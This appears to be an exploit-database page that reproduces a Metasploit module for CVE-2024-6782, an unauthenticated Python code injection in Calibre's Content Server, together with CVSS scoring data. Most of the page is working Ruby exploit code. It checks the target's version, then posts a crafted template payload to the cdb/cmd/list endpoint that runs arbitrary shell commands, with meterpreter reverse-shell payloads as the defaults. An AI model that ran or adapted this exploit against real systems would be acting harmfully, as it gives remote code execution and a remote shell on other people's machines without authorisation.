Lucene search

K
zdtMetasploit1337DAY-ID-39714
HistoryAug 08, 2024 - 12:00 a.m.

Calibre 7.15.0 Python Code Injection Exploit

2024-08-0800:00:00
metasploit
0day.today
103
calibre
python
code injection
content server
cve-2024-6782
unauthenticated
tcp port 8080
authentication
payload
windows
linux
unix
curl
meterpreter
reverse tcp
stability
reliability
side effects

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.8

Confidence

Low

EPSS

0.002

Percentile

59.7%

This Metasploit module exploits a Python code injection vulnerability in the Content Server component of Calibre version 6.9.0 through 7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
        'Description' => %q{
          This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Amos Ng', # Discovery & PoC
          'Michael Heinzl', # MSF exploit
        ],
        'References' => [
          [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
          [ 'CVE', '2024-6782']
        ],
        'DisclosureDate' => '2024-07-31',
        'Platform' => ['win', 'linux', 'unix'],
        'Arch' => [ ARCH_CMD ],

        'Payload' => {
          'BadChars' => '\\'
        },

        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL',
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
              },
              'Type' => :win_fetch
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],

        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080)
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path)
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    end

    if res && res.code == 200
      data = res.body.to_s
      pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/

      version = data.match(pattern)

      if version[1].nil?
        return CheckCode::Unknown
      else
        vprint_status('Version retrieved: ' + version[1].to_s)
      end

      if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
        return CheckCode::Appears
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Unknown
    end
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Sending payload...')
    exec_calibre(cmd)
    print_status('Exploit finished, check thy shell.')
  end

  def exec_calibre(cmd)
    payload = '['\
    '["template"], '\
    '"", '\
    '"", '\
    '"", '\
    '1,'\
    '"python:def evaluate(a, b):\\n '\
     'import subprocess\\n '\
      'try:\\n  '\
        "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
      'except Exception:\\n  '\
        "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
    ']'

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => payload,
      'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
    })

    if res && res.code == 200
      print_good('Command successfully executed, check your shell.')
    elsif res && res.code == 400
      fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
    end
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.8

Confidence

Low

EPSS

0.002

Percentile

59.7%